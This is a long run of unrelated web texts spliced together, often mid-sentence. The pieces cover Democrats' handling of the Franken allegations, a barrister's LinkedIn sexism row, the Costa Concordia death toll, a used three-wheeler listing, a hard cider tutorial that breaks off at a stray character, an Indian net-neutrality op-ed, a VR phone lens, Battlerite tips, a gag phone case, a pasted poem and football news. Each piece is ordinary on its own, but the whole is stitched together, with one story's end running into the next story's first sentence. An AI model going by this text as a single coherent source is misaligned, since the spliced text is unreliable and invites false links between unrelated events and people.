And third, there was political expediency. If Franken were to resign, it probably wouldn’t cost Democrats a Senate seat. Instead, an interim replacement would be named by Minnesota Gov. Mark Dayton — a Democrat who would almost certainly appoint another Democrat. Then, a special election would be held next year to elect someone to serve the final two years of Franken’s term, which expires after the 2020 election. Next year’s midterms are likely to be blue-leaning (perhaps even a Democratic wave election), and Democrats are likely to hold Senate seats in states as blue as Minnesota under those circumstances. And Democrats have a deep and relatively diverse bench in Minnesota, with plausible candidates including State Auditor Rebecca Otto, Attorney General Lori Swanson, Lt. Gov. Tina Smith, U.S. Reps. Keith Ellison, Tim Walz and Collin Peterson, former Minneapolis Mayor R.T. Rybak, St. Paul Mayor Chris Coleman and others.
In other words, I thought the Democrats had an opportunity to maintain the moral high ground without having to pay a political price for it. They could keep the pressure up on Moore, who has put Republicans in a no-win situation in Alabama. And they could help to establish a precedent wherein severe instances of sexual harassment warrant resignation. In the long run, that might create more of a problem for Republicans than for Democrats, because the overwhelming majority of sexual harassment is conducted by men, and there are 265 Republican men in Congress compared with 164 Democratic ones.
Instead, Democrats basically punted on the question. Here’s what Schumer said, which echoes the statements made by many other Democrats:
Sexual harassment is never acceptable and must not be tolerated. I hope and expect that the Ethics Committee will fully investigate this troubling incident, as they should with any credible allegation of sexual harassment. — Chuck Schumer (@SenSchumer) November 16, 2017
Almost all of these comments said that sexual harassment must be taken very, very seriously. But the remedy they propose for Franken — referring the allegations to the Senate ethics committee, a step that Republican leader Mitch McConnell, White House press secretary Sarah Huckabee Sanders and Franken himself have also called for — isn’t particularly serious. Unless, that is, the committee process led to Franken’s expulsion. But there have been many ethics investigations and very few expulsions — none since 1862 — and none of the statements made by Schumer or the other leaders raised the possibility of expulsion.
Moreover, it’s not quite clear what behavior the ethics committee would actually be investigating: Franken hasn’t really denied Tweeden’s claim that he kissed her without her consent, and there’s already photographic evidence that appears to show he groped her. It’s possible the investigation could turn up evidence of similar incidents involving Franken and other women. But if Franken is a repeat offender — as so many sexual harassers are — that’s all the more reason for Democrats to want him out of office now instead of dragging the party through the mud.
Of course, what might be politically expedient for Democrats isn’t necessarily expedient for Schumer — or for McConnell, or for the White House, all of whom may be acting out of a sense of institutional self-preservation. If there’s a precedent that sexual harassment is grounds for removal or resignation from office, then a lot of members of Congress — including some of Schumer’s colleagues and friends — could have to resign once more allegations come to light, as they almost certainly will. President Trump’s conduct could also come under renewed scrutiny, as could the conduct of former presidents Bill Clinton and George H.W. Bush. Politics is a male-dominated institution, and a conservative institution, and conservative, male-dominated institutions have pretty much no interest in flipping over the sexual harassment rock and seeing what comes crawling out from underneath it.
When we were thinking through the Franken story in FiveThirtyEight’s internal Slack channel today, most of the men in our office thought that Franken was in deep trouble (“I think he’s toast,” I wrote at 11:07 this morning). Most of the women thought he’d hang in and survive. We’re less than a day into the story, but no surprise — it looks like the women will be right.The female barrister who accused a married lawyer of sexism after he complimented her on her photo today refused to accept his apology and told critics: 'I am not a man-hating Feminazi'.
Charlotte Proudman, 27, maintains she was right to embarrass Alexander Carter-Silk, the married solicitor who praised her ‘stunning’ picture on professional networking site LinkedIn.
She called the father of two, 57,'sexist' because he told her: 'You definitely win the prize for the best LinkedIn picture I have ever seen'.
Today the barrister said she named him because 'exposing sexism outweighed any privacy' but admitted she now 'faces the prospect of career suicide'.
Describing the 'phenomenal backlash' she said: 'I have had vulgar comments discussing my physical appearance in quite some detail, and in a sexual manner, which serves to silence women'.
Threats: Barrister Charlotte Proudman, 27, embarrassed a senior lawyer after he complimented her on a photo and has since been warned about being blackballed by her profession
Ms Proudman, 27, maintains she was right to embarrass Alexander Carter-Silk, the married solicitor who praised her ‘stunning’ picture on professional networking site LinkedIn
'Offensive': Married father-of-two Alexander Carter-Silk, 57, (pictured left) was accused of ‘disgusting’ sexism for messaging high-flying barrister Charlotte Proudman, 27, (right), praising her ‘stunning’ picture on LinkedIn
She told the Evening Standard: 'Professionals are using LinkedIn as if it were Tinder. There are websites designed for professionals to date. There is no need to use LinkedIn'.
The row was triggered on Tuesday when Mr Carter-Silk wrote to Miss Proudman on LinkedIn: ‘Charlotte, delighted to connect, I appreciate that this is probably horrendously politically incorrect but that is a stunning picture!!!’
Miss Proudman, who is on sabbatical from her chambers to study for a PhD at Cambridge, has been criticised for publicly ‘outing’ Mr Carter-Silk on the grounds it could damage his career and private life.
Poll Was Charlotte Proudman right to call out Alex Carter-Silk over his LinkedIn message? Yes No Was Charlotte Proudman right to call out Alex Carter-Silk over his LinkedIn message? Yes 4986 votes
No 22585 votes Now share your opinion
Asked if she regretted it, she said: ‘To be frank he shouldn’t behave in that way and then he wouldn’t need to worry about it ruining his career. But I very much doubt it has ruined his career.’
She added she did not accept his apology because he said it was 'for the offence that I have taken, so there is no acknowledgement that the message he sent was inappropriate or is sexist'.
Last night a spokesman for Mr Carter-Silk said he had made a ‘prompt and sincere personal apology and is wife of nearly 30 years, Jacqueline, 60, declined to comment from the couple’s £700,000 detached Cambridgeshire home.
Today a man believed to be the lawyer opened the door at the same property said: 'No comment' before shutting the door.
But according to City law website RollOnFriday, he claimed his comments had been misconstrued and that he was merely complimenting ‘the professional quality of the presentation’ of the LinkedIn photograph.
The 57-year-old, whose eldest daughter is the same age as Miss Proudman, had said Miss Proudman she should ‘win a prize’ for her picture which he called the ‘best I have ever seen’ on the site.
Yesterday Miss Proudman said she felt compelled to ‘out’ Mr Carter-Silk, who has represented supermodel Elle Macpherson, because he is a senior figure in the legal profession and ‘had a duty’ to uphold laws against sexual discrimination.
Charlotte Proudman, 27, said she has been targeted by internet trolls, who claimed she had ‘ruined’ her career, after accusing a married lawyer of sexism for complimenting her on her LinkedIn photo
Mr Carter-Silk said Miss Proudman should ‘win a prize’ for her photograph, adding it was ‘the best I have ever seen’ on the site. She responded saying she was not on LinkedIn ‘to be objectified by sexist men’ (pictured)
The human rights lawyer told the Daily Mail: ‘I have received messages saying: “You have ruined your career. You have bitten the hand that feeds you. There go your instructions from solicitors.”
‘I have also had the usual: “You don’t look that great” and “It’s just a compliment”. It just shows the extent of sexism in the legal profession. It does appear to be very bad, particularly because it is male-dominated.’
She said she had ‘a thick skin’ but was concerned the threats she received on Twitter about her future were real. ‘We will just have to wait and see what happens,’ she said.
A partner in one of the UK’s largest criminal law firms suggested Miss Proudman would be ‘blacklisted’ by solicitors.
Franklin Sinclair, of Tuckers Solicitors, wrote on Twitter: ‘What an awful thing to do, what kind of world do we live in when a man can’t give a lady a compliment.getalife. Nomorebriefs4u. (sic)’
When she responded saying she would not want to work for ‘sexist solicitors’, he replied: ‘I should think you’ve blacklisted yourself from more than just sexist ones!’
Posting on Twitter today Miss Proudman said she would endure the'misogynistic backlash' to encourage other women to call out sexism. But she's since been targeted by internet trolls who said she had 'ruined' her careerDayana Arlotti, from Rimini, whose father William Arlotti is also missing, is the youngest person who died in the disaster.
The grim discoveries came as prosecutors announced that they had widened their investigation to include four more of the ship’s officers and three employees of Costa Cruises, the Genoa-based company that owns the liner.
The bodies were found by Italian fire service divers on the fourth deck of the giant ship, which was at the start of a week-long cruise of the Mediterranean when it ran aground on Giglio island, off the coast of Tuscany, on Jan 13.
The first four bodies were found in the morning, with another four located in the flooded hull later in the day.
Aside from the little girl, rescue officials said the dead included a man and a woman. It was not known whether they were passengers or crew members.
The discovery of the bodies brought the confirmed death toll to 25, with at least seven people still missing.
More than 4,200 passengers and crew had to be evacuated when the cruise ship ran aground after hitting a rocky shoal off Giglio as the captain allegedly performed a'salute’ to the island for the benefit of the ship’s head waiter.
A third of the passengers have accepted a one-off compensation payment of 11,000 euros offered by Costa Cruises. Many others are filing for much greater compensation and damages, amounting to tens of millions of pounds.
Capt Francesco Schettino has been accused of procrastinating for around 76 minutes before giving the order to abandon the ship.
Members of his crew have said that there might not have been any deaths had he ordered the vessel to be evacuated earlier.
The skipper is under house arrest at his home near Naples and faces charges of multiple manslaughter and abandoning ship.
A Dutch salvage company, Smit, has removed around two-thirds of the 500,000 gallons of fuel contained in the ship’s tanks, but operations were again suspended yesterday due to bad weather.This 1981 HMV Freeway is one of about 700 made between 1979 and 1982 by High Mileage Vehicles of Burnsville, Minnesota. This specific example was originally owned by the Minute Man National Historical Park in Concord, Massachusetts, where it accumulated only 275 miles before being purchased by the current seller who subsequently added another 5,000 without issue. Finished in Forest Service Green over a beige interior, the odd little three-wheeler is powered by a single-cylinder of either 12 or 16 HP, comes with servicing literature, and looks very well preserved. Find it here on Craigslist in Holliston, Massachusetts for $5,500.
Paint is likely original and factory style decals point towards it being specially ordered in this color by the Forest Service. Closeups reveal a clean, straight body, and tires with what look a fair amount of life left in them. Mirrors are situated on the rear of the front fenders and the rear wheel drive assembly is visible in the photo below.
The cabin looks more like that of a small piston powered airplane than of a car. There’s only one photo and not much is revealed in it, but tan upholstery is visible along with a few instruments on the dashboard. Behind the rear tandem seat is what appears to be the fuel filler hose. Rear windows have pop-out mechanisms.
The Freeway featured an innovative design for its time, incorporating an outer impact frame to protect occupants, an inner frame comprised of welded steel, and fully independent suspension. Power came from either a 4 HP electric motor or a choice of a 12 or 16 HP single cylinder gas engines, with the 12 HP unit reportedly capable of delivering 100 MPG at 40 MPH. Power is sent to the single rear wheel through a snowmobile-derived CVT transmission with belt final drive.
No maintenance is cited in the ad, but the seller does note that the 5,000 miles put on the odometer under their tenure have been trouble-free.Hard Cider Tutorial, Part One: Obtaining, Grinding, and Pressing Applesd
At long last, it begins…
What begins, you ask? The 2013 hard cider-making tutorial I’ve been promising, that’s what!
Specifically, I’ll be making a batch of hard cider, documenting and photographing the process, and sharing it with you.
I’ll be doing this in the following stages:
Obtaining, Grinding, and Pressing Apples Fermentation and Aging Your Hard Cider Kegging and/or Bottling Your Hard Cider Tasting Notes/Lessons Learned
These sections will appear as blog posts and then roll up into a cider-making tutorial page.
Today’s installment will cover the beginning stages of making hard apple cider: finding apples, processing them into juice, preparing the juice for fermentation, and associated steps and factors such as sanitation.
Obtaining Apples:
This story begins a few months ago as–after a few years of making hard apple cider from the unpasteurized, unfermented sweet ciders available in the fall–I began trying to source cider apples locally for this year’s batch of hard cider. Quite frankly, it’s been a frustrating process here in Colorado–a few factors conspired to keep me from obtaining the varieties I wanted:
One of the worst years for apples on the front range of Colorado in years (primarily due to late frosts)
Low availability of the varieties of apples in the U.S. that are good for cider–I’ve written about this factor before here
Colorado being less of a hard cider-making region than others (e.g., New England), and thus having even fewer cider apples than elsewhere
Other cider-makers beating me to the punch on the few cider apples I’d heard about in my region
Nonetheless, I did manage to find some Winesap and Rome varieties, both of which are listed in Cider: Making, Using, and Enjoying Sweet and Hard Cider, which has been my cider-making bible and a great source of information to date.
I obtained the apples–two bushels of Winesaps and a half bushel of Rome–from Masonville Orchards of Ault, Colorado, who had them delivered to their Boulder Farmers Market stand for me to pick up:
As the Boulder market is busy, I had to park a few blocks away–something I never noticed as a problem until I had to lug 120 pounds of apples to my car. My thanks go out to Jared, who helped me carry them, and Katie, who immediately knew who I was when I showed up…they were extremely helpful.
Grinding:
Apples in tow, I headed to my parents’ home, where I’d stashed a Happy Valley apple grinder/press that I borrowed from a friend who I meet with frequently at Lefthand Brewing Company.
At this point, we assembled, washed, and sanitized (using a Star San solution) the grinder/press and glass fermenters that the pressed cider would be going into, and set up our washing line. The latter consisted of two plastic tubs, one with Star San solution and another with plain water for rinsing, which we used to sanitize the skins of the apples to prevent wild yeast and bacteria–which occur naturally in the skins of apples–from infecting the fermentation:
Note: Using a sanitizer wash isn’t strictly necessary(except with the carboys/fermenters)–in fact, some cider makers will go as far as to allow the wild yeast to ferment the cider without adding commercial yeast at all; however, I wanted to control the yeast character as much as possible, so we used this approach.
Once we had the apple washing station going, we started grinding the apples with the help of a friend of mine, Chris. This was a good time, if a bit of work–the grinder made mincemeat of the apples, even though they were firm and fresh off the tree. The process is quite simple–one person keeps the crank turning, and another feeds apples a few at a time into the hopper. The apples are shredded into pomace, which falls into the mesh bag-lined bucket below.
Note: Make sure to place a bucket under the collection plate at this point–you’ll get some juice seeping out of the bucket as you grind, even before you start pressing.
I’ve heard it’s a good idea to ‘sweat’ the apples, leaving them out on a tarp for several days to soften and allow the sugars to concentrate. I can definitely see the advantage of this, as the juice yield is likely to be higher at pressing and the apples will be easier to grind. Apparently, you could also freeze the apples and thaw them prior to grinding to achieve the same effect–more on that here.
Pressing:
Each time the collection bucket got reasonably full, we switched to pressing. With the collection bucket already in place, you then place a wooden plug (one that spans the diameter of the bucket) on top of the pomace, line it up with the screw above, and bring the screw head down onto the plug to exert pressure. At this point, the juice begins to run, and it’s a matter of waiting for it to subside a bit before incrementally applying a bit more pressure via the screw.
This is the slowest part of the overall process; the important part here is to have everything lined up appropriately and not to exert too much force at once, as you could damage the press. Tighten, wait, transfer juice to the fermenter as the collecting bucket fills, tighten, wait, and when more tightening yields little juice, discard the pomace (which can be mixed into a compost heap but which is too acidic to apply directly as compost) and return to grinding.
Most estimates I’ve seen are that a bushel of apples yields 2-3 gallons of juice; we ended up right around 2, filling one fermenter with 5 gallons of juice and with about 1/4 of a bushel of Romes left over. I attribute the low yield mostly to the facts that:
These were very fresh, firm apples right off the tree that we didn’t sweat due to time constraints.
We were gentle on the pressing side, not having used a press before and it being borrowed from someone else. That said, I don’t think we could |
with the exception of “banned” illegal websites, but that is equivalent to saying you can’t drive into this road because this car is marked stolen, which is a fair restriction).
What The Telcos Say
The number one argument by Telcos is that Over the Top (OTT) Services like Whatsapp cause them to lose revenue (on SMS, and even on voice). Which means they should be compensated.
This is bunkum. The Airtels of the world don’t give you data for free; they charge you for it. These charges may be low or high in comparison with their costs, but no one asked them to price things too low. And in any case, it looks like data revenue is far better than voice, because you seem to be able to get more revenue through the same fixed cost (of spectrum and all that) than you can with voice. Basically, you as an end user are charged for data when they use Skype or Whatsapp – their argument about losing revenue is completely null and void.
The second argument is that the telcos spend money on security and on tracing calls and on KYC, whereas there is no such cost for the OTT players. The KYC bit is illogical – if they access the OTT service through a telecom provider, and they pay the telecom provider data charges, then the KYC is the responsibility of the Telco, not of the OTT provider. I can’t be expected to have a KYC for every person reading Capitalmind.in.
But there is something to be said about tracing calls and security. India already has a framework where it can demand contents of emails or text from internet providers in case of security. Tapping Skype calls – we believe the infrastructure already exists with the Indian authorities, and with foreign players too. In general, you will need to trap all data to actually see what’s happening internally, and if that is actually required, the only place to do it is at the telco end. If this costs more, they will need to increase their data charges, rather than try to foist it upon a Skype.
The third argument is that Telcos do not want to be a “dumb pipe” and want to make money off the fact that they bring the customer online. In a very Apple-ish kind of way, where any revenue generated through an App used in an iOS Product needs to pay Apple a share, the telcos believe they have a right – even a divine right – to such revenue generated effectively through their network.
This is illogical. If you have built a tolled road, which is effectively public infrastructure, you do not have the right to all the commerce generated on that road. You can’t say that if a farmer takes his produce to sell somewhere, that you must get a part of it because you enabled access.
Another argument is that OTT Services don’t pay the government. No entry fee, no revenue share and no spectrum charges.
The answer: Because they shouldn’t. A website or service should not be licensed (we go back to license raj?) but the provisioning of a public resource – like spectrum – should and will be auctioned or provided to telcos for a fee. If Google were to own fiber and become a telco, it would also be charged similar license fees and spectrum charges (and Google does own a lot of dark fiber which it will undoubtedly use some of these days to provision services for end users).
What The TRAI Says
The industry regulator, TRAI, wants to say something, but wants you to tell them what you think, first.
They’ve put a very complex paper out there asking for questions. (Click here)
There is a more understandable abridged version. (Click here)
The basic questions are:
Do you think it’s time to regulate internet services? This means everyone from Flipkart to Skype and possibly, even Capital Mind. Should specifically messaging services like Skype or Whatsapp be regulated? Does the growth of internet/OTT services impact revenues of Telcos? Should OTT/Internet service providers pay Telcos over and above what Telcos charge users for access? What about Security, Safety and Privacy in OTT Services? Should that be regulated? Do we need Net Neutrality? Are there any instances where discrimination is okay? Can we have differential pricing for services like Skype? Who should pay for network upgrades by Telcos if their revenues are down? What else?
All of these questions have simple answers – it’s not right to regulate internet services as TRAI (there is police and fraud and consumer regulation anyhow). Revenue impact is there, but so what; is a regulator present to only protect the profits of the ones they regulate? That is an asinine argument – if that was the case, the airline regulator should have drowned in a small cup of water by now.
If the response by telcos is to raise tariffs then pray tell us what is stopping them? We’ll just choose the cheapest among the reliable, thank you, because they all just deserve to be dumb pipes. (These are my views on banking as well)
Net neutrality is not negotiable. We cannot be okay even with free access to Wikipedia. That everyone is the same means everyone should be the same. Discrimination is not okay in any circumstance. If two players decide they want ultra-secure, ultra-fast access, in which case they draw a leased line between each other (brokers on the NSE/BSE have to do this), but on the generic internet, the quality remains what it is for everyone, at least at the telco end.
Should the TRAI Have Such Powers?
In the very essence of this topic, the concept of Net Neutrality is also about the very existence of a TRAI as a heavy handed regulatory body. At some level, they are unnecessary; for instance mandating extremely heavy KYC requirements without a common framework is extremely stupid. A common KYC for all telco services – from DTH to fixed line broadband to mobile services – would have been easy to establish for the TRAI.
But no, they didn’t do it and now to even get a prepaid SIM card, one has to submit all sorts of documentation, with a signature on each copy, a photo and address/id proofs. This is TRAI being an extremely pompous regulator – the very industry you regulate had the ability to consolidate KYC details and house them securely with perhaps SMS or email based verifications, but no, you wouldn’t even think of it. Instead, you fine the CEOs when you find minor errors on KYC. It’s so bad that if your photo isn’t crystal clear on a photocopy of your ID card, your application gets rejected.
And yet, they did a reasonable job curtailing SMS spam, though that stuff took years to finalize and implement. Ironically, that one regulation resulted in the death of more VAS services than any of these OTT services.
Do you want your data fees looking like this?
(From the FAQs created by Nikhil at Medianama and added by excellent commenters)
The important thing to note here is: the new wave of internet services are actually going to be better than the local ones. With 4G and perhaps 5G in the future, we will pay more for data anyhow, but that payment will be small in comparison with the fact that we can have a lot more done on the network. Productivity is key, and we will NEVER go back to paying Rs. 16 per minute for a phone call, and that is a good thing.
In this new era, TRAI will have to reinvent itself and become a regulator that provides neutral and equal access to the internet. It will need to be told that Net Neutrality is not just good for us, it is a stated goal.
We must ask our parliamentary lawmakers to ensure this happens. With Net Neutrality in all its forms as a pure and stated goal, TRAI will be required primarily to ensure that no Telecom operator can discriminate based on type of application on what it will charge the end user or the speed the user sees. This will benefit our country tremendously, even if data charges were to increase initially.
Now, tell them about it:Shot: A lens attachment & app to turn your iPhone into a VR camera
I stayed outside. My friend hustled his way through the fray of people inside the Apple Store, eager to have a new iPhone 6S in his hands on Friday last week. Like all of them, I had been an enthusiastic iPhone user until I bought a Samsung Galaxy Note 4 this past year. Today, besides almost solely buying the Note 4 so I could I could pair it with my Samsung Gear VR headset (after all what’s more exciting than Netflix in VR), I still love my Note. So, why did I wish I was inside buying an iPhone? Well...
Only a few days prior to the new iPhone announcement I learned about Shot. A camera lens attachment for the iPhone 6/6S and iPhone 6/6S Plus that allows you to create and watch immersive VR photos and videos. Setting aside the improved 6S camera quality, Shot achieves immersive quality images and videos because the two lenses—front and back—are tailored to increase the field of view of your phone’s cameras. In addition, Shot created an app which features a stream of social 360 content to scroll through.
Thankfully, all that is required of me is a little patience. Shot is working on an Android version of both the app and the camera lens attachment. Check out their Kickstarter campaign which went live today.
Imagine having the ability to capture 360-degree photos and nearly 360-videos (235 degrees) with something you already carry around everywhere. My friends and I immediately thought it would be awesome for hiking trips (i.e. in Yosemite where your surroundings tower over you), sporting events, and outdoors occasions. Or even for just catching someone doing something funny surreptitiously. There are many cool possibilities.
Many 360-degree camera solutions require multiple cameras and are costly, moreover, after capturing the pictures or videos you might even need to stitch the content together yourself. An example of a small 360-degree camera that is easy to use is the Ricoh Theta, but it can run you about $350.
The Shot duo—William Viana and Jorge Lería—based out of Madrid, Spain, told us they saw these problems and wanted to allow more people to afford to shoot VR-grade content in an easier manner.
The founders of Shot prototyped the attachment, comprised of two lenses, for months to arrive at the current solution. It’s easy to slide on and off your phone and meshes perfectly with the iPhone’s cameras.
It seems like sharing 360-degree content is the corollary of the way we already share our experiences visually everywhere we go in the form of Instagrams, Snapchats, Youtube videos, and Facebook mobile uploads. Last week, Facebook began rolling out 360-degree content in the Facebook Newsfeed. However, supporting 360-degree comes with a new set of challenges for both app makers and consumers. How do you make the things you want to share look good with this form of media? How do you make an app that doesn’t necessitate having a Google Cardboard all the time, but still shows off the 360-degree content? Will small VR viewers like Google Cardboard become ubiquitous?
Previously working at Spain social network Tuenti as engineers, William and Jorge are focusing their expertise on answering some of these questions with their Shot app. As a viewer, you can toggle between preview, full screen, and full screen with VR headset modes in the Shot app by using a small screen tap or changing the orientation of the phone from portrait to landscape. Or, contribute by opening the app, sliding on the attachment, and shooting VR with one click. They are hoping to finalize the product and scale with Kickstarter’s help. Unofficial early reports are that the price of the lens attachment will fall in the range of $90 to $100.
While I have not seen the output from using Shot in person yet, it may be the optimal choice for many given its price and compactness (if only I had an iPhone)!Maria Kozhevnikova, 27, has moved swiftly up the ranks after joining the party's youth movement, the Young Guard.
"I've seen Putin close up several times and I want to say that this man has very strong vibes," Miss Kozhevnikova said.
"I've watched how people have changed when they got close to Putin, not because they are afraid, but because they feel a calm and strong confidence. Because of this, the West is afraid of him, and that is understandable."
She echoed Mr Putin in suggesting protests were being funded from outside country.
"A'strong Russia' cannot be controlled. Mass rallies have never solved the people's problems and answered their aspirations. The people were always just a weapon in the struggle for power."
Miss Kozhevnikova, who posed for Playboy in 2009, is the daughter of an ice hockey star, the Daily Mail reported.
After winning a seat to represent Tomsk in Siberia she said: "For me this is an absolutely big event in my life."
Yesterday, Mr Putin mocked the tens of thousands of Russians who have protested against his rule in recent weeks, dismissing his critics as paid-up agents of the West.Are you the type of person who lives, breathes and... um... eats up food news? Are your weekends and credit card bills jammed from visits to the scores of new restaurants that have opened during this busy year in Dallas dining? We've seen chefs turn the brewpub model on its head, watched bar owners embrace Hungarian dishes and witnessed comic opera battles between a food critic and a whole slew of restaurants. It takes a special sort of person to keep track of what's cooking, and it that's you, the Observer has a proposition for you.
After four-and-a-half years pummeling my arteries with burgers, barbecue and tacos, I've decided to take some time to myself and embrace an exclusive diet of fresh salad greens and avocados. I'm moving to Los Angeles at the beginning of December, and while I'll still have some time to cover our delicious food scene, we've got an exciting new job to fill.
As the Observer's food editor, you'll have access to the personalities who are shaping the city's menus. You'll witness new restaurants gain traction and talk to veteran chefs and owners as they adapt to an ever-changing environment. You'll publish stories that will help Dallasites stay in touch with daily restaurant news, and you might even get personal late-night texts and tweets from Knife chef John Tesar.Battlerite
This page will compile a list of tips, hints, and tricks for the game Battlerite, for both new and advanced players.
The lineup that has less heals generally has to play more aggressively, to make it hard for the enemy to heal up. So if you have less heals, play aggressively, and if you have more heals, kite and trade as much as possible as opposed to engaging all out.
If an enemy runs away with low HP, it's often better to 2v1 the other enemy than to chase the runner unless it's a clear kill.
Use C (default cancel key) on spells with long animations (like Jumong and Jade RMB) to bait out counters.
It's easy to get sidetracked with having many spells, but most of the damage usually comes out of LMB. Focus on hitting your LMB and use the rest of your spells as supplementary damage and utility.
Try to get in a Y shape position, where you and your ally are the top edges, the enemy that you're focusing is in the middle and the other enemy is at the very end. Unless the enemy at the end is 100% dedicated to healing, this ensures that your team is dealing more damage while the enemy at the end is struggling to get in range to use their spells. This point is pure theorycraft, I'm not sure if it's true or practical at high level play.
Rather than cancelling your abilities or waiting to bait out counters, you can flick your slow casts or change target for your autos. This maximizes your dps while allowing you to not trigger counters. Best case, you trigger the enemy counter AND hit one of his teammates.
Make note of your opponents level of thinking. Do they always counter when given the first opportunity? (90% of players do). Bait it out and punish.
Learn the downtimes of the different heroes. Punish them when they can't escape.
Play with a friend and voice comm. You'll improve faster, have more fun and face less to no flaming.
Don't chase ranged characters and fire if you're at maxed range. The ranged character running will be firing back so basically you are stepping into his range while he is stepping out of yours, meaning you will take a bunch of damage and he will go untouched.
Don't fire a burst ability at the orb than smaller damage abilities, makes stealing easier. Specifically in Jumong's case, hit the orb with seeker's arrow then RMB it and its a guaranteed orb grab, and the orb will refund you for the seeker's arrow too.
When fighting croak and ezmo, wait for two jumps before you commit to an engage.
Unlike games like overwatch, if you're stunned (we'll use jade for example) and want to spacebar jump away, instead of mashing the spacebar like you would in most games, as those games require a new input of spacebar down to trigger the ability, you can just hold it down and as soon as your character can, she will jump
say you'r Bakko and you jump into the enemy. try not to jump too far into them at start (when neither team has upperhand). so if things go sour or they jump on your back line its not as long to walk back to your team.
Credit: Many of the tips were compiled from the /r/battlerite subreddit on reddit from a thread by user /u/11999590430420did you buddy buy and iphone 6? did he sat on it and bend the crap out of it? did he try to get youtube famous by bending his 600 dollar phone? if he hasn't bend it yet.. he sure will so get him a case nowkeep your bend phone case protected using this bend phone iphone case(this is meant to be a gag gift... has not been tested on bend phones but if you have one please send us a picture)If you treat your iphone like your unborn son like i do and haven't bend your phone don't worry you can get the regular iphone 6 bumper case here..this bumper case fixes the leveling issue caused by the camera lens and gives it protection where is needed!Your Reality. a guest Dec 16th, 2017 110 Never a guest110Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
rawdownloadcloneembedreportprint text 1.04 KB Every day I imagine a future where I can be with you In my hand is a pen that will write a poem for me and you The ink flows down into a dark puddle Just move your hand - write the way into his heart! But in this world of infinite choices What will it take just to find that special day? What will it take just to find that special day? Have I found everybody a fun assignment to do today? When you're here everything that we do is fun for them anyway When I can't even read my own feelings What good are words when a smile says it all? And if this world won't write me an ending What will it take just for me to have it all? Does my pen only write bitter words for those who are dear to me? Is it love if I take you, or is it love if I set you free? The ink flows down into a dark puddle How can I write love into reality? If I can't hear the sound of your heartbeat What do you call love in your reality? And in your reality, if I don't know how to love you I'll leave you be.
RAW Paste Data
Every day I imagine a future where I can be with you In my hand is a pen that will write a poem for me and you The ink flows down into a dark puddle Just move your hand - write the way into his heart! But in this world of infinite choices What will it take just to find that special day? What will it take just to find that special day? Have I found everybody a fun assignment to do today? When you're here everything that we do is fun for them anyway When I can't even read my own feelings What good are words when a smile says it all? And if this world won't write me an ending What will it take just for me to have it all? Does my pen only write bitter words for those who are dear to me? Is it love if I take you, or is it love if I set you free? The ink flows down into a dark puddle How can I write love into reality? If I can't hear the sound of your heartbeat What do you call love in your reality? And in your reality, if I don't know how to love you I'll leave you be.Getty Images
Bears tight end Zach Miller has returned to the team facility for the first time since the October 29 game in New Orleans when he suffered a knee injury so severe he had to be hospitalized for three weeks.
Miller detailed his eight surgeries and his recovery, and he said the Bears’ ownership, coaches, players and fans have been incredible in their support.
“Everybody’s been there and it’s much appreciated. That’s all I’m going to say because I’m trying not to cry here,” Miller said. “I learned there are still really good people in this world. There’s so much negative stuff 24/7 but I’ve been impacted by love across the globe.”
Miller said he isn’t sure whether he’ll be able to play again.
“I haven’t thought much about football,” Miller said. “I haven’t gotten to that point. It’s just getting right, getting healed up, and when that decision comes, making a decision. Do I want to play football? What do you think? I’ve been playing football my whole life. I would love to play football.”
Despite the brutal toll the injury took on him, Miller said that to return to the Bears facility today makes him feel lucky.As Burnley and Hull gear up to face one and another tomorrow in the first clash this season between two promoted teams, here is our promoted teams XI.
Hull's Tom Huddlestone and Middlesbrough's Gaston Ramirez
Middlesbrough, Burnley and Hull City have had one of the best starts to a Premier League season by all three promoted teams in history.
After two game weeks they had the best record for a set of promoted teams in the Premier League era, and despite just one of the three picking up any points in their third set of fixtures, they're all still well-placed.
Hull City are flying highest, despite being widely tipped to have a disastrous campaign, they're currently fifth, with 6 points, Middlesbrough are one point and one place behind, whilst Burnley sit in 13th on 3 points.
High-flying Hull have had a great start to the season
Of course, it's still very early in the season, and just three games in is far too early to read too much into how the season is likely to pan out for all three.
Burnley topped the Championship last season, Middlesbrough invested heavily in the summer and Hull City always had a squad which looked Premier League class.
As a result, all three squads possess much quality, and creating a combined XI is no easy task, but here's what we've managed to come up with:
Goalkeeper: Tom Heaton
Burnley goalkeeper Tom Heaton in action for England
England's number three in the absence of Stoke goalkeeper Jack Butland, Tom Heaton has become a dependable and important player between the sticks for Burnley and just edges out the likes of Victor Valdes, David Marshall and Eldin Jakupovic.
Centre-Back: Daniel Ayala
Former Liverpool and Norwich defender Daniel Ayala always showed promise, but he has become a real stalwart at the back for Middlesbrough. The standout player in a defence which was consistently among the best in the Championship.
Centre-Back: Curtis Davies
Curtis Davies has been outstanding for Hull City
The most exceptional player from any of the promoted teams so far this season, Curtis Davies has been an absolute rock at the back for Hull City this season.
From marshalling Jamie Vardy to keeping Zlatan Ibrahimovic in his back pocket for 90 minutes, Davies was nominated for the Premier League's Player of the Month award alongside Antonio Valencia, Eden Hazard and Raheem Sterling.
Centre-Back: Michael Keane
Having opted for a back three, there is no room for two very good left-backs in Hull's Andy Robertson and Middlesbrough's George Friend, but it does allow three very solid central defenders.
Burnley's Michael Keane is the last of the trio, the ex-Manchester United man was chased by Leicester all summer and even linked with Chelsea more recently.
Central Midfield: Tom Huddlestone
Former Tottenham man Tom Huddlestone oozes class in the centre of Hull's midfield. Ryan Mason and Markus Henriksen will add to that, but haven't yet featured for the Tigers, hence their omissions.
Central Midfield: Steven Defour
Burnley signing Steven Defour whilst playing for Belgium
Burnley's record buy very briefly until the arrival of Jeff Hendrick, although it is Defour who we believe to be the superior player. With a couple of European giants among his former clubs and almost half a century of caps for Belgium, Defour should bring invaluable experience to Turf Moor.
Central Midfield: Adam Clayton
Another trio featuring a player from each of the promoted teams, this time in central midfield, is rounded off by Boro midfielder Adam Clayton.
The 27-year-old formerly of Leeds and Huddersfield has grown as a player at Middlesbrough, and was arguably the clubs outstanding performer last season.
Attacking Midfield: Robert Snodgrass
Robert Snodgrass scores in Hull City's opening day defeat of Leicester
After his start to the season it would be impossible to leave out Hull City's Robert Snodgrass. The Scotsman has played 5 games so far this season, scored 5 goals and won 4 games.
Playing on the right of a front three in the 4-3-3 adopted by Mike Phelan, Snodgrass has been a revelation, and even scored a hat-trick for Scotland over the international break.
Forward: Andre Gray
The Burnley striker may have found himself in trouble recently as a result of some questionable tweets from four years ago, but there's no doubting the threat he poses on the pitch.
